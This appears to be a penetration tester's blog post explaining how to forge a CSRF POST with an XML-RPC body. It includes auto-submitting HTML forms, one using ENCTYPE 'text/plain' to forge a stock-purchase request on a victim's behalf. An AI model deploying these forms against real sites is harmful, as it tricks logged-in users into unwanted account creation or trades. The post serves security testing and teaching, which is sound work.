Cross-Site Request Forgery For POST Requests With An XML Body
I recently had cause to create a proof-of-concept for a site that seemed to be vulnerable to Cross-Site Request Forgery (CSRF). I say “seemed” because there was no CSRF protection, but I was finding the XML POST body really hard to forge (It was a SOAP / XMLRPC type request).
Eventually Sid from notsosecure.com pointed me in the right direction. The solution is not new, but it’s interesting if you’ve never come across this problem before.
What I Was Trying To Achieve
I wanted to write a malicious web page, which would automatically send a request like the one below when a victim viewed it:
POST /createnewuser HTTP/1.1 Host: site.being.tested.com Cookie: mysessionid=90450874698749829 <?xml version value='"1.0"?><methodCall>... new creds go here...</methodCall>
The Stuff That Didn’t Work
<FORM action="http://site.being.tested.com/createnewuser" METHOD="POST"> <input type="hidden" name="<?xml version..."> </FORM> <script>document.forms.submit();</script>
This fails for 2 important reasons:
- The “name” containing my XML gets URL encoded thereby corrupting the body of the POST request
- There’s a stray “=” at the end of the request. POST requests bodies are of the form “name=value&name2=value2″. Since I specified only a single name with no value, the browser quite rightly appended an “=” after the name.
So my forged POST request looked something like this:
POST /createnewuser HTTP/1.1 Host: site.being.tested.com Cookie: mysessionid=90450874698749829 %3C%3Fxml%20version%20value%3D'%221.0%22%3F%3E%3CmethodCall%3E...%20new%20creds%20go%20here...%3C%2FmethodCall%3E=
No where close!
To quote from his presentation, the poc should specify an ENCTYPE of “text/plain”:
<FORM NAME="buy" ENCTYPE="text/plain" action="http://trade.example.com/xmlrpc/trade.rem" METHOD="POST"> <input type="hidden" name='<?xml version' value='"1.0"?><methodCall><methodName>stocks.buy</methodName><params><param><value><string>MSFT</string></value></param><param><value><double>26</double></value></param></params></methodCall>'> </FORM> <script>document.buy.submit();</script>
This results in a perfectly formatted Cross-Domain XML POST request. The ENCTYPE avoids the body being encoded and he cleverly absorbs the unwanted “=” into the XML at a point where we need an “=” anyway.
Posted in Blog